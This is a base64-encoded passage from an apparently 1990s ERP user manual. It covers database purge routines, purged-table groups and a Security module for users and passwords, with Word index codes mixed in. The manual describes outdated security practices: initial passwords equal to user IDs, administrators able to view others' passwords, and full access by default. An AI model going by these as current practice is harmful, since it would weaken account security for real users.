IGRvbGxhcnMsIGFuZCB0aGUgaW52b2ljZSBkYXRlIGlzIGxlc3MgdGhhbiBvciBlcXVhbHMgdGhl IHB1cmdlIGN1dG9mZiBkYXRlLg0NMy4JVGhlIG9yZGVyIGlzIG1hcmtlZCBhcyBjYW5jZWxlZCBh bmQgdGhlIG9yZGVyIGRhdGUgaXMgbGVzcyB0aGFuIG9yIGVxdWFscyB0aGUgcHVyZ2UgY3V0b2Zm IGRhdGUuDQ1JZiB0aGVyZSBhcmUgcmVjb3JkcyB3cml0dGVuIHRvIHRoZSB0ZW1wb3JhcnkgcHVy Z2UgdGFibGUsIGEgbWVzc2FnZSBib3ggaXMgcHJlc2VudGVkIHNob3dpbmcgdGhlIHVzZXIgdGhl IHRvdGFsIG51bWJlciBvZiBvcmRlcnMgdGhhdCB3aWxsIGJlIHB1cmdlZC4gIE90aGVyd2lzZSBh IG1lc3NhZ2UgZGlzcGxheWluZyBObyBvcmRlcnMgbWV0IHRoZSBwdXJnZSBjdXRvZmYgZGF0ZSBj cml0ZXJpYS4NDUlmIHRoZXJlIGFyZSByZWNvcmRzIHRvIHB1cmdlIGFuZCB0aGUgdXNlciBhbnN3 ZXJzIE9LLCB0aGUgcHVyZ2UgY29udGludWVzLiAgQWxsIHRhYmxlcyBsaXN0ZWQgaW4gdGhlIHNl Y3Rpb24gVGFibGVzIFRvIEJlIFB1cmdlZCBhcmUgcHVyZ2VkIG9mIHJvd3MgY29udGFpbmluZyB0 aGUgcmVsYXRlZCBvcmRlciBudW1iZXJzIG1hdGNoaW5nIHRoZSBjcml0ZXJpYSBhYm92ZS4NDURl bGl2ZXJ5IFB1cmdlEyBYRSAiRGVsaXZlcnkgUHVyZ2UiIBUNDVRoZSBzeXN0ZW0gd2lsbCBwdXJn ZSBEZWxpdmVyeSByZWNlaXB0cyB3aGVyZSB0aGUgZGVsaXZlcnkgcmVjZWlwdCBkYXRlIGlzIGxl c3MgdGhhbiBvciBlcXVhbCB0byB0aGUgcHVyZ2UgY3V0b2ZmIGRhdGUgYW5kIHRoZSBkZWxpdmVy eSByZWNlaXB0IGlzIG1hcmtlZCBhcyBwb3N0ZWQuICBUaGUgc3lzdGVtIHdpbGwgdGhlbiBjaGVj ayB0byBhc3N1cmUgdGhlIGRlbGl2ZXJ5IHJlY2VpcHRzIHdpdGhpbiB0aGUgcHVyZ2UgY3V0b2Zm IGRvIG5vdCByZWZlciB0byBvcGVuIGludm9pY2VzLiAgSWYgdGhpcyBpcyB0cnVlLCB0aGVuIHRo ZSBwdXJnZSB3aWxsIGJ1aWxkIGFuIGFycmF5IG9mIGFsbCBkZWxpdmVyeSB0cmFuc2FjdGlvbiBu dW1iZXJzIGVsaWdpYmxlIHRvIGJlIHB1cmdlZCBhbmQgdGhlbiBwcm9jZWVkIHRvIGRlbGV0ZSB0 aGUgcmVsYXRlZCByb3dzIGluIHRoZSB0YWJsZXMgaW4gdGhlIERlbGl2ZXJ5IEdyb3VwLg0NRURJ IFB1cmdlEyBYRSAiRURJIFB1cmdlIiAVDQ1UaGUgRURJIHB1cmdlIGNoZWNrcyBmb3IgcmVjb3Jk cyBpbiB0aGUgRURJX1BPX0hFQURFUiB0YWJsZSBiYXNlZCBvbiB0aGUgc3VwcGxpZWQgcHVyZ2Ug Y3V0b2ZmIGRhdGUuICBBbGwgcmVsYXRlZCByb3dzIHdpdGhpbiB0aGUgRURJIEdyb3VwIHdpbGwg YmUgcHVyZ2VkLg0NSW52ZW50b3J5IFB1cmdlEyBYRSAiSW52ZW50b3J5IFB1cmdlIiAVDQ1UaGUg aW52ZW50b3J5IHRyYW5zYWN0aW9uIGZpbGUgY2FuIGJlIHB1cmdlZCBiYXNlZCBvbiBhIHN1cHBs aWVkIGRhdGUuICBUaGUgcHVyZ2Ugd2lsbCBoYXBwZW4gaWYgdGhlIHRyYW5zYWN0aW9uIGNvbnRh aW5zIGEgdGlja2V0IG51bWJlciB0aGF0IGlzIG5vdCBpbiB0aGUgSU5WRU5UT1JZX0JJTiB0YWJs ZS4gIA0NVGhpcyBmdW5jdGlvbiBjYXJyaWVzIGEgd2FybmluZyB0aGF0IHRoZSB1c2VyIHNob3Vs ZCBvbmx5IHBlcmZvcm0gaXQgYWZ0ZXIgYSBwaHlzaWNhbCBpbnZlbnRvcnkgaGFzIGJlZW4gcmVj b25jaWxlZC4gIFRoaXMgaXMgZHVlIHRvIHRoZSBJTlZFTlRPUllfVFJBTiByb3cgYmVpbmcgdXNl ZCB0byByZWVzdGFibGlzaCBtaXNzaW5nIHRpY2tldHMgYW5kIGNvc3RzIGZvdW5kIGR1cmluZyB0 aGUgcGh5c2ljYWwgY291bnQgcHJvY2Vzcy4NDUludm9pY2VzIFB1cmdlEyBYRSAiSW52b2ljZXMg UHVyZ2UiIBUNDVRoZSBJbnZvaWNpbmcgUHVyZ2UgaXMgYSBzdGFuZC1hbG9uZSBwdXJnZSBhbmQg bm8gb3RoZXIgaW5mb3JtYXRpb24gbmVlZHMgdG8gYmUgY2hlY2tlZCBvdXRzaWRlIHRoZSBJbnZv aWNpbmcgZ3JvdXBzLiAgV2hlbiB0aGUgcHVyZ2UgY3V0b2ZmIGRhdGUgaXMgc3VwcGxpZWQgdGhl IElOVkhJU1RfSERSIHdpbGwgYmUgdXNlZCB0byBjaGVjayBpZiB0aGUgaW52b2ljZSBkYXRlIGZh bGxzIHdpdGhpbiB0aGUgZGF0ZSBzdXBwbGllZC4gIElmIHRoZSBpbnZvaWNlIG9wZW4gYW1vdW50 IGlzIHplcm8sIHRoZSBoZWFkZXIgYW5kIGFsbCBvdGhlciByZWxhdGVkIEludm9pY2UgZ3JvdXAg cm93cyB3aWxsIGJlIHB1cmdlZC4NUHVyY2hhc2UgT3JkZXIgUHVyZ2UTIFhFICJQdXJjaGFzZSBP cmRlciBQdXJnZSIgFQ0NVGhlIHB1cmNoYXNpbmcgcHVyZ2UgdXNlcyB0aGUgc3VwcGxpZWQgUHVy Z2UgQ3V0b2ZmIGRhdGUgYW5kIHB1cmdlIGluZm9ybWF0aW9uIGluIHRoZSBQdXJjaGFzaW5nIEdy b3VwIGZvciBhbGwgQ29tcGxldGVkIGFuZCBDbG9zZWQgUHVyY2hhc2UgT3JkZXIgaGVhZGVycy4g IEFuIG9wdGlvbiB3aXRoaW4gdGhlIFB1cmNoYXNlIE9yZGVyIE1vZHVsZSBtYXJrcyB0aGUgUHVy Y2hhc2UgT3JkZXJzIGFzIENsb3NlZCBvbiBhbiBhZCBob2MgYmFzaXMuDQ1TYWxlcyBTdW1tYXJ5 IFB1cmdlEyBYRSAiU2FsZXMgU3VtbWFyeSBQdXJnZSIgFQ0NVGhlIHVzZXIgaGFzIHRoZSBhYmls aXR5IHRvIHB1cmdlIFNhbGVzIHN1bW1hcnkgYW5kIHNhbGVzIHByb2R1Y3QgaW5mb3JtYXRpb24g YnkgcHJvdmlkaW5nIGEgY3V0b2ZmIHBlcmlvZCB0byB1c2UgaW4gc2VsZWN0aW5nIHJlY29yZHMg dG8gcHVyZ2UuDQ1EYXRlIFNldC11cBMgWEUgIkRhdGUgU2V0LXVwIiAVDQ1UaGUgcHJvZ3JhbSB3 aWxsIHV0aWxpemUgdGhlIG1pbmltdW0gbW9udGhzIG9mIGhpc3Rvcnkgc3VwcGxpZWQgaW4gdGhl IENvbXBhbnkgdGFibGUTIFhFICJDb21wYW55IHRhYmxlIiAVIHRvIGRlcml2ZSBhIG1pbmltdW0g Y3V0b2ZmIGRhdGUgZm9yIHRoZSBwdXJnZRMgWEUgIk1pbmltdW0gY3V0b2ZmIGRhdGUgZm9yIHRo ZSBwdXJnZSIgFS4gDQ1Gb3IgZXhhbXBsZSwgYXNzdW1lIHRvZGF5IGlzIEp1bmUgMSwgMTk5OCBh bmQgdGhlIHdpc2ggaXMgdG8gbWFpbnRhaW4gc2V2ZW4gbW9udGhzIG9mIHRyYW5zYWN0aW9uIGhp c3Rvcnkgd2l0aGluIEltYWdpbmVyYS4gVGhlIGxhc3QgZGF0ZSBvZiBhIHB1cmdlIHdhcyBGZWJy dWFyeSAxLCAxOTk3LiAgVGhlIHN5c3RlbSB3b3VsZCBjYWxjdWxhdGUgYSBtaW5pbXVtIHB1cmdl IGRhdGUgb2YgTm92ZW1iZXIgMSwgMTk5Ny4gIFRoaXMgY2FsY3VsYXRlZCBkYXRlIHdpbGwgYmUg cGxhY2VkIG9uIHRoZSBwdXJnZSBkaWFsb2cgYm94IGZvciB0aGUgUHVyZ2UgdXAgdG8gZGF0ZS4g IFRoZSB1c2VyIHdpbGwgYmUgYWJsZSB0byBhbHRlciB0aGlzIHVwIHRvIGRhdGUgYXMgbG9uZyBh cyB0aGUgZGF0ZSBpcyBub3QgZ3JlYXRlciB0aGFuIHRoZSBjYWxjdWxhdGVkIG1pbmltdW0gY3V0 b2ZmIGRhdGUuIA0NRm9yIGV4YW1wbGUsIGlmIGluIHRoZSBhYm92ZSBleGFtcGxlIHRoZSB1c2Vy IHdhbnRlZCB0byBrZWVwIHR3ZWx2ZSBtb250aHMgb2YgaGlzdG9yeSBpbnN0ZWFkIG9mIHRoZSBz dGF0ZWQgc2V2ZW4sIGhlIG9yIHNoZSBjb3VsZCBjaGFuZ2UgdGhlIGRpc3BsYXllZCBkYXRlIGZy b20gMTEvMS85NyB0byA2LzEvOTcuICBIZSBvciBzaGUgY291bGQgbm90IGVudGVyIGEgZGF0ZSBn cmVhdGVyIHRoYW4gMTEvMS85Ny4gIFRoZSBzeXN0ZW0gd291bGQgZGlzcGxheSBhbiBlcnJvciBt ZXNzYWdlIGJveCwgaWYgdGhlIHVzZXIgZW50ZXJzIGFuIGludmFsaWQgZGF0ZS4NDVVzZXIgYWNj ZXNzEyBYRSAiVXNlciBhY2Nlc3MiIBUNVGhlIHByb2dyYW0gd2lsbCBjaGVjayB0aGUgU2VjdXJp dHkgbW9kdWxlIHRvIGFzc3VyZSB0aGUgcGVyc29uIGxvZ2dpbmcgaW4gaGFzIGF1dGhvcml6YXRp b24gdG8gcnVuIHRoZSBhcHBsaWNhdGlvbi4NDUxvY2sgZGF0YWJhc2UTIFhFICJMb2NrIGRhdGFi YXNlIiAVDQ1UaGUgcHJvZ3JhbSB3aWxsIGF0dGVtcHQgdG8gbG9jayB0aGUgZGF0YWJhc2UgcHJp b3IgdG8gdGhlIHB1cmdlLiAgVGhpcyB3aWxsIGluc3VyZSB0cmFuc2FjdGlvbmFsIGludGVncml0 eRMgWEUgIlRyYW5zYWN0aW9uYWwgaW50ZWdyaXR5IiAVIGZvciB0aGUgcHVyZ2UuICBMb2NraW5n IHRoZSBkYXRhYmFzZSB3aWxsIG9ubHkgYmUgc3VjY2Vzc2Z1bCB3aGVuIGFsbCBvdGhlciB1c2Vy cyBhcmUgb2ZmIHRoZSBzeXN0ZW0uICBPbmNlIHRoZSBsb2NrIGlzIHN1Y2Nlc3NmdWwgdXNlcnMg dHJ5aW5nIHRvIGxvZyBvbiB0aGUgc3lzdGVtIGR1cmluZyB0aGUgcHVyZ2Ugd2lsbCByZWNlaXZl IGFuIGVycm9yIG1lc3NhZ2UuIA0NVGFibGVzIHB1cmdlZBMgWEUgIlRhYmxlcyBwdXJnZWQiIBUN VGhlcmUgYXJlIG1hbnkgdGFibGVzIHRoYXQgYXJlIHB1cmdlZC4gIFRoZSB0YWJsZXMgYXJlIGNh dGVnb3JpemUgaW50byBncm91cHMgYW5kIHJlZmVycmVkIHRvIGJ5IHRoZSBncm91cCBuYW1lcyB0 aHJvdWdob3V0IHRoaXMgZG9jdW1lbnQuICBUaGUgaGVhZGVyIG9yIGxlYWRlciB0YWJsZSBpbiB0 aGUgZ3JvdXAgaGFzIGJlZW4gZW50ZXJlZCBpbiBJdGFsaWNzLg0NT3JkZXJzIEdyb3VwEyBYRSAi T3JkZXJzIEdyb3VwIiAVDU9SREVSUw1PUkRfTUFUTF9BTExPQw1HUk9VUEVEX0lURU1TDU9SRF9D SEFOR0UNT1JEX0hPTEQNT1JEX01JU0NfQ0hHDU9SRF9PVEhSX0NTVA1PUkRfUEFSVA1PUkRfU0FM RVNNQU4NT1JEX1NISVBfUkVMRUFTRQ1PUkRFUl9OT1RFUw1PUkRFUlNfVE9fQ09TVA1QTEFOVF9U UlgNVFJJTU1FRF9PUkRFUlMNDUpvYiAvIE9yZGVyIENvc3QgR3JvdXATIFhFICJKb2IgLyBPcmRl ciBDb3N0IEdyb3VwIiAVDUpPQlMgDVdJUF9XQVNURQ1XSVBfTUFUTF9DU1QNV0lQX1NQRUNJQUxf Q1NUDVdJUF9NQUNIX09QUw1XSVBfRkcNT1JEX1JFTEVBU0UNT1JEX01BQ0hfT1BTDU9SRF9NQVRM X0NTVA1PUkRfT1RIUl9DU1QNT1JEX1NVTV9DU1QNT1JEX1NQRUNJQUxfQ1NUDQ1EZWxpdmVyeSBH cm91cBMgWEUgIkRlbGl2ZXJ5IEdyb3VwIiAVDURMVkhEUg1ETFZERVQNRExWX0JBTEVTDURMVl9D QVJSSUVSX0xPQUQNDUludm9pY2luZyBHcm91cBMgWEUgIkludm9pY2luZyBHcm91cCIgFQ1JTlZI SVNUX0hEUiwgDUlOVkhJU1RfRFRMLCANSU5WSElTVF9ESVNUUklCLCANSU5WSFNUX0RUTF9TTFNN QU4sIA1JTlZIU1RfTUlTQ19DSEcsIA1JTlZfQ0FOQ0VMRUQNDVB1cmNoYXNpbmcgR3JvdXATIFhF ICJQdXJjaGFzaW5nIEdyb3VwIiAVDVBPSEVBREVSLCANUE9UUkFJTEVSLCANUE9SQ1BULCANUE9S RVEsIA1QT1RSQUlMRVJfTk9URVMsIA1HUk9VUEVEX0lURU1TDQ1FREkgR3JvdXATIFhFICJFREkg R3JvdXAiIBUgDUVESV9QT19IRUFERVINRURJX1BPX0RFVEFJTCwgDUVESV9QT19OT1RFUywgDUVE SV9TSElQTUVOVFMNDUludmVudG9yeSBHcm91cBMgWEUgIkludmVudG9yeSBHcm91cCIgFQ1JTlZF TlRPUllfVFJBTg0NU3lzdGVtIGNsZWFuLXVwEyBYRSAiU3lzdGVtIGNsZWFuLXVwIiAVICANDVRo ZSBwdXJnZSByb3V0aW5lcyByZXBvcnQgc3RhdGlzdGljcyBhcyB0byBudW1iZXIgb2Ygcm93cyBw dXJnZWQgZm9yIGVhY2ggdGFibGUgaW4gYSBncm91cC4gIFRoZSBwdXJnZSByZWNvcmRzIGluIHRo ZSBDb21wYW55IGZpbGUTIFhFICJDb21wYW55IGZpbGUiIBUgYSByZWNvcmQgb2YgdGhlIGRhdGUg YW5kIHRpbWUgdGhlIHB1cmdlEyBYRSAiRGF0ZSBhbmQgdGltZSBvZiBwdXJnZSIgFSB3YXMgcGVy Zm9ybWVkLCBhbG9uZyB3aXRoIHRoZSB1c2VyIGRvaW5nIHRoZSBwdXJnZS4gIA0NUHVyZ2Ugb3B0 aW9ucyB1c2UgdGhlIFNlY3VyaXR5IG1vZHVsZRMgWEUgIlNlY3VyaXR5IG1vZHVsZSIgFSBmb3Ig c3BlY2lmeWluZyB0aGUgYWNjZXNzIHRvIHRoZSBmdW5jdGlvbi4gIA0NUHVyZ2VzIGFyZSBkZXNp Z25lZCB0byBhc3N1cmUgdGhhdCBubyBvcnBoYW5lZCBkZXRhaWwgcm93cyBvciBoZWFkZXJzIHdp dGggbm8gZGV0YWlscyByZW1haW4gaW4gdGhlIFN5c3RlbS4NDUFuIHVubG9hZCBhbmQgbG9hZCBv ZiB0aGUgZGF0YWJhc2UTIFhFICJVbmxvYWQgYW5kIGxvYWQgb2YgdGhlIGRhdGFiYXNlIiAVIHNo b3VsZCBiZSBkb25lIHRvIGZyZWUgdXAgdGhlIGRpc2sgc3BhY2UgbGVmdCBieSB0aGUgZGVsZXRl ZCByb3dzLiAgDQ1BbiB1cGRhdGUgc3RhdGlzdGljcxMgWEUgIlVwZGF0ZSBzdGF0aXN0aWNzIiAV IHNob3VsZCBiZSBkb25lIHRvIG9wdGltaXplIHF1ZXJpZXMTIFhFICJPcHRpbWl6ZSBxdWVyaWVz IiAVIHVzaW5nIHRoZSBwdXJnZWQgdGFibGVzLg0NDQxTRUNVUklUWRMgWEUgIlNFQ1VSSVRZIiAV DQ1UaGlzIGlzIHRoZSB0YWJsZSB0byBzZXQgdXAgYWNjZXNzIHRvIG1vZHVsZXMgYW5kIGFwcGxp Y2F0aW9ucyB3aXRoaW4gdGhlIG1vZHVsZXMuICBFdmVyeW9uZSBzdGFydHMgb3V0IHdpdGggZnVs bCBhY2Nlc3M7IGlmIHlvdSB3YW50IHRoZW0gdG8gYmUgcmVzdHJpY3RlZCB0aGVuIHlvdSBtdXN0 IGdvIHRvIFNlY3VyaXR5IE1haW50ZW5hbmNlIGFuZCBnaXZlIHRoZSBSZWFkIE9ubHkgYWNjZXNz LiANDVBhc3N3b3JkcxMgWEUgIlBhc3N3b3JkcyIgFQ0NWW91IGNhbiBjaGFuZ2UgeW91ciBwYXNz d29yZCB0aHJvdWdoIHRoZSBDdXN0b21lciBTZXJ2aWNlIHNjcmVlbiB1bmRlciBGaWxlLiAgSWYg eW91IHdhbnQgdG8gY2hhbmdlIHRoZSBwYXNzd29yZCBvZiBzb21lb25lIGVsc2UgeW91IGNhbiBk byB0aGlzIGhlcmUgYXMgd2VsbCBhcyB2aWV3IHdoYXQgYSBVc2VyJ3MgcGFzc3dvcmQgaXMsIGlm IG5lZWQgYmUuICBXaGVuIGEgdXNlciBpcyBpbml0aWFsbHkgc2V0IHVwLCB0aGVpciBwYXNzd29y ZCBpcyB0aGUgc2FtZSBhcyB0aGUgVXNlciBJRC4gDQ1TZXR0aW5nIHVwIGFjY2VzcyB0byBhIHRh YmxlIG9yIGFwcGxpY2F0aW9uLhMgWEUgIlNldHRpbmcgdXAgYWNjZXNzIHRvIGEgdGFibGUgb3Ig YXBwbGljYXRpb24uIiAVDQ1BbGwgVXNlcnMgbXVzdCBoYXZlIGZpcnN0IGJlZW4gc2V0LXVwIGlu IFVzZXJzIHRhYmxlDQ0gICAgIERvbid0IEFkZC0gVGhpcyBnaXZlcyB5b3UgdGhlIGFiaWxpdHkg dG8gU2V0LXVwIG9uZSB1c2VyIGF0IGEgdGltZSBieSBjbGlja2luZyBvbiB0aGUgKyBCdXR0b24g b24gdGhlIHRhYmxlLg0NICAgICBBZGQgVXNlcnMTIFhFICJBZGQgVXNlcnMiIBUgLSBUaGlzIHdp bGwgc2V0IHVwIGFsbCB1c2VyJ3MgY3VycmVudGx5IHNldC11cCB3aXRoIHRoZSBzYW1lIGFjY2Vz czsgeW91IGhhdmUgdGhlIGNob2ljZSBvZiBObyBBY2Nlc3MsIFJlYWQgT25seSBBY2Nlc3MsIGFu ZCBGdWxsIEFjY2Vzcy4gIFlvdSBjYW4gdGhlbiBjaGFuZ2UgZWFjaCBpbmRpdmlkdWFsIGFjY2Vz cy4gDQ1NYWtlIHN1cmUgdGhhdCBHbG9iYWwgU2VjdXJpdHkgaW4gdGhlIENvbXBhbnkgVGFibGUg aGFzIGJlZW4gY2hlY2tlZCBmb3IgdGhlIGFib3ZlIHRvIGJlIGVmZmVjdGl2ZS4gIA0NUGF0aCBp czogTWFpbnRhaW4uZXhlEyBYRSAiTWFpbnRhaW4uZXhlIiAVIG9yIEZDbWFpbnQuZXhlEyBYRSAi RkNtYWludC5leGUiIBUgPj4gVGFibGUgTWFpbnRlbmFuY2UTIFhFICJUYWJsZSBNYWludGVuYW5j ZSIgFSA+PiBDb21wYW55ID4+IENvbXBhbnkgTWFpbnRlbmFuY2UgPj4gPE1vcmU+ID4+IENvbXBh bnkgTWFpbnRlbmFuY2UgLSBTY3JlZW4gMiA+PiBFbmFibGUgR2xvYmFsIFNlY3VyaXR5DQ1RQkUg U2VhcmNoEyBYRSAiUUJFIFNlYXJjaCIgFSANU2NyZWVuIGlzIHVzZWQgdG8gcHJvdmlkZSByb3cg YW5kIGNvbHVtbiB0eXBlIHJlcG9ydHMTIFhFICJSb3cgYW5kIGNvbHVtbiB0eXBlIHJlcG9ydHMi IBUgb24gd2hhdGV2ZXIgdGhlIHN1YmplY3Qgd2FzIHRoYXQgY2FsbGVkIHRoZSBzY3JlZW4uICAN DVVzaW5nIHRoZSBzY3JlZW46DQ0xKSBTY3JlZW4gaXMgVklFVyBPTkxZIGFuZCB0aGUgdXNlciBj YW5ub3QgYWx0ZXIgZGF0YS4gIFRoZSB1c2VyIGNhbiBwcmludCBhIHJlcG9ydCBvZiB0aGUgZGF0 YSB1c2luZyB0aGUgUmVwb3J0ISBmdW5jdGlvbhMgWEUgIlJlcG9ydCEgZnVuY3Rpb24iIBUuICBU byBjbG9zZSB0aGUgc2NyZWVuLCBwcmVzcyBBbHQgKyBGNBMgWEUgIkFsdCArIEY0IiAVIG9yIEV4 aXQhIG9yIGNsaWNrIG9uIHRoZSBBcHBsaWNhdGlvbiBJY29uIGluIHRoZSB1cHBlciBsZWZ0IG9m IHRoZSBzY3JlZW4uIA0Nb3INDTIpIENsaWNrIG9uIGEgcm93IHRvIHNlbGVjdCB0aGUgVXNlciBh bmQgdG8gY2xvc2UgdGhlIHNjcmVlbi4gIFRoaXMgd2lsbCByZXR1cm4gdGhlIHNlbGVjdGVkIFVz ZXIncyBkYXRhIHRvIHRoZSBVc2VyIExpc3Qgc2NyZWVuLg0NT3RoZXIgc2NyZWVuIGluZm9ybWF0 aW9uOg0NUGF0aDogIFNlY3VyaXR5LmV4ZRMgWEUgIlNlY3VyaXR5LmV4ZSIgFSA+PiBTZWN1cml0 eSBNYWludGVuYW5jZSA+PiBVc2VyIExpc3QgPj4gPFNlYXJjaD4gPj4gUUJFIFNlYXJjaCBSZXN1 bHRzDQ1NZW51czoNWCA9IEV4aXQhDQ1SID0gUmVwb3J0IQ0TSU1QT1JUIEM6XFxpbWFnaW4zMVxc c2VjdXJpdHlcXFdJTkhFTFBcXFdIVC1CSU5ELkJNUCBcKiBNRVJHRUZPUk1BVBQBFU5vdGU6ICBS ZXBvcnQgaXMgTUFJTlRSUFQuUVJQEyBYRSAiTUFJTlRSUFQuUVJQIiAVDQ1IID0gSGVscBMgWEUg IkggPSBIZWxwIiAVDQ1IIHwgVyA9IFdpbmRvdyBIZWxwICAgIEYxDUggfCBNID0gTW9kdWxlIEhl bHAgICAgIEN0cmwgKyBGMQ1IIHwgUyA9IFN5c3RlbSBIZWxwICAgICAgU2hpZnQgKyBGMQ1IIHwg VSA9IFVzaW5nIEhlbHAgICAgICAgIEN0cmwgKyBGOQ1IIHwgQSA9IEFib3V0DQ1CdXR0b25zOg1O byBidXR0b25zDQ1Ib3QgS2V5czoNWCA9IEV4aXQhDVIgPSBSZXBvcnQhDUggPSBIZWxwDQ0TSU1Q T1JUIEM6XFxpbWFnaW4zMVxcc2VjdXJpdHlcXFdIVC1CSU5ELkJNUCBcKiBNRVJHRUZPUk1BVBQB FU5vdGU6ICBUaGUgISBkZW5vdGVzIHRoYXQgdGhlcmUgYXJlIG5vIGFkZGl0aW9uYWwgbWVudSBp dGVtcyBhbmQgc2VsZWN0aW9uIG9mIHRoaXMgaXRlbSB3aWxsIGltbWVkaWF0ZWx5IHBlcmZvcm0g dGhlIHN0YXRlZCBvcGVyYXRpb24uIA0NTUFJTlRSUFQuUVJQDVRoZSBVc2VyJ3MgUmVwb3J0IHdp bGwgZGlzcGxheSB0aGUgZm9sbG93aW5nOg0TSU1QT1JUIEM6XFxGSF9TVUlURVxcRkhMUF8yOTdc XEJVTExFVFNcXERPVF9TTS5CTVAgXCogTUVSR0VGT1JNQVQUARUJDRNJTVBPUlQgQzpcXEZIX1NV SVRFXFxGSExQXzI5N1xcQlVMTEVUU1xcRE9UX1NNLkJNUCBcKiBNRVJHRUZPUk1BVBQBFQlMb2cg T24gSUQNE0lNUE9SVCBDOlxcRkhfU1VJVEVcXEZITFBfMjk3XFxCVUxMRVRTXFxET1RfU00uQk1Q IFwqIE1FUkdFRk9STUFUFAEVCVVzZXIgSUQNE0lNUE9SVCBDOlxcRkhfU1VJVEVcXEZITFBfMjk3 XFxCVUxMRVRTXFxET1RfU00uQk1QIFwqIE1FUkdFRk9STUFUFAEVCVVzZXIgTmFtZQ0TSU1QT1JU IEM6XFxGSF9TVUlURVxcRkhMUF8yOTdcXEJVTExFVFNcXERPVF9TTS5CTVAgXCogTUVSR0VGT1JN QVQUARUJQmFkZ2UgTnVtYmVyDRNJTVBPUlQgQzpcXEZIX1NVSVRFXFxGSExQXzI5N1xcQlVMTEVU U1xcRE9UX1NNLkJNUCBcKiBNRVJHRUZPUk1BVBQBFQlBcHByb3ZhbCBBbW91bnQgZm9yIGFwcHJv dmluZyBQdXJjaGFzZSBPcmRlcnMuDQ1Vc2VyIExpc3QTIFhFICJVc2VyIExpc3QiIBUgDTEwNzA1 MDAwEyBYRSAiMTA3MDUwMDAiIBUNU2NyZWVuIGlzIHVzZWQgZm9yIHRoZSBjcmVhdGlvbiwgZGVs ZXRpb24sIGFuZCBtb2RpZmljYXRpb24gb2YgVXNlcnMTIFhFICJDcmVhdGlvbiwgZGVsZXRpb24s IGFuZCBtb2RpZmljYXRpb24gb2YgVXNlcnMiIBUgd2hvIGhhdmUgcGVybWlzc2lvbiB0byBhY2Nl c3MgdGhlIFN5c3RlbSBvciBoYXZlIGRlZmF1bHQgc2VjdXJpdHkgYWNjZXNzEyBYRSAiRGVmYXVs dCBzZWN1cml0eSBhY2Nlc3MiIBUgbGlrZSBwcmljaW5nIGFuZCBwdXJjaGFzZSBvcmRlciByaWdo dHMuDQ1Vc2luZyB0aGUgc2NyZWVuOg0NQWRkIGEgTmV3IFVzZXIgdG8gdGhlIFN5c3RlbToTIFhF ICJBZGQgYSBOZXcgVXNlciB0byB0aGUgU3lzdGVtOiIgFQ0NMSkgQ2xpY2sgPEFkZD4NDRNJTVBP UlQgQzpcXGltYWdpbjMxXFxzZWN1cml0eVxcV0hULUJJTkQuQk1QIFwqIE1FUkdFRk9STUFUFAEV Tm90ZTogIExvZ29uIElEEyBYRSAiTG9nb24gSUQiIBUgaXMgYXV0b21hdGljYWxseSBhc3NpZ25l ZCBieSB0aGUgU3lzdGVtLg0NE0lNUE9SVCBDOlxcaW1hZ2luMzFcXHNlY3VyaXR5XFxXSFQtQklO RC5CTVAgXCogTUVSR0VGT1JNQVQUARVOb3RlOiAgWWVsbG93IGZpZWxkIGNvbG9yEyBYRSAiWWVs bG93IGZpZWxkIGNvbG9yIiAVIHdpbGwgY2hhbmdlIHRvIHdoaXRlIHdoZW4gaXQgaXMgcGVybWl0 dGVkIHRvIGVudGVyIG5ldyBkYXRhLiANDTIpIEVudGVyIGEgVXNlciBMb2dvbiBuYW1lIG9yIGNv ZGUgaW4gdGhlIFVzZXIgTG9nb24gZmllbGQTIFhFICJVc2VyIExvZ29uIGZpZWxkIiAVLg0NE0lN UE9SVCBDOlxcaW1hZ2luMzFcXHNlY3VyaXR5XFxXSFQtQklORC5CTVAgXCogTUVSR0VGT1JNQVQU ARVOb3RlOiAgVGhpcyBpcyBlcXVpdmFsZW50IHRvIGEgdXNlciBwYXNzd29yZBMgWEUgIlVzZXIg cGFzc3dvcmQiIBUuICBUaGlzIGNhbiB0aGVuIGJlIGNoYW5nZWQgdG8gYSB0cnVlIHBhc3N3b3Jk IGluIHRoZSBDaGFuZ2UgUGFzc3dvcmQgc2NyZWVuEyBYRSAiQ2hhbmdlIFBhc3N3b3JkIHNjcmVl biIgFS4gDQ0zKSBFbnRlciB0aGUgdXNlcidzIG5hbWUgaW4gdGhlIE5hbWUgZmllbGQuIA0NNCkg RW50ZXIgdGhlIHVzZXIncyBiYWRnZSBudW1iZXIgaW4gdGhlIEJhZGdlIE51bWJlciBmaWVsZBMg WEUgIkJhZGdlIE51bWJlciBmaWVsZCIgFS4NDRNJTVBPUlQgQzpcXGltYWdpbjMxXFxzZWN1cml0 eVxcV0lOSEVMUFxcU1BDLU5PVEUuQk1QIFwqIE1FUkdFRk9STUFUFAEVTm90ZTogSWYgYSBub24t bnVtZXJpYyB2YWx1ZSBpcyBlbnRlcmVkLCB0aGVuIHRoZSBtZXNzYWdlIEEgbnVtZXJpYyBiYWRn ZSBudW1iZXIgaXMgcmVxdWlyZWQgZm9yIHRoZSBUaW1lIEFjY291bnRpbmcgU3lzdGVtIChUQVMT IFhFICJUaW1lIEFjY291bnRpbmcgU3lzdGVtIChUQVMpIiAVKSB0byB2YWxpZGF0ZSB0aGlzIHVz ZXIgYXMgYSB2YWxpZCBUQVMgZW1wbG95ZWUsIGluIG9yZGVyIHRvIHJlc3RyaWN0IHRoZSBlbXBs b3llZSB0byBpbnF1aXJlIGFib3V0IGhpcy9oZXIgb3duIGhvdXJzIG9ubHkuICBBcmUgeW91IHN1 cmUgeW91IHdhbnQgdG8gdXNlIGEgbm9uLW51bWVyaWMgdmFsdWUTIFhFICJOb24tbnVtZXJpYyB2 YWx1ZSIgFT8gIDxZZXM+IG9yIDxObz4NDTUpIElmIHVzZXIgaXMgcGVybWl0dGVkIHRvIGRvIHBy aWNpbmcsIHRoZW4gY2hlY2sgdGhlIEhhcyBQcmljaW5nIEFjY2VzcxMgWEUgIkhhcyBQcmljaW5n IEFjY2VzcyIgFSBib3gNDTZhKSBJZiB1c2VyIGlzIHBlcm1pdHRlZCB0byBkbyBQdXJjaGFzZSBP cmRlcnMsIHRoZW4gY2hlY2sgdGhlIEhhcyBQTyBBcHByb3ZhbCBBdXRob3JpdHkTIFhFICJIYXMg UE8gQXBwcm92YWwgQXV0aG9yaXR5IiAVIGJveC4gIFRoaXMgd2lsbCB0aGVuIGRpc3BsYXkgdGhl IEFwcHJvdmFsIEFtb3VudCBlZGl0IGZpZWxkLg0NNmIpIEVudGVyIHRoZSBkb2xsYXIgYW1vdW50 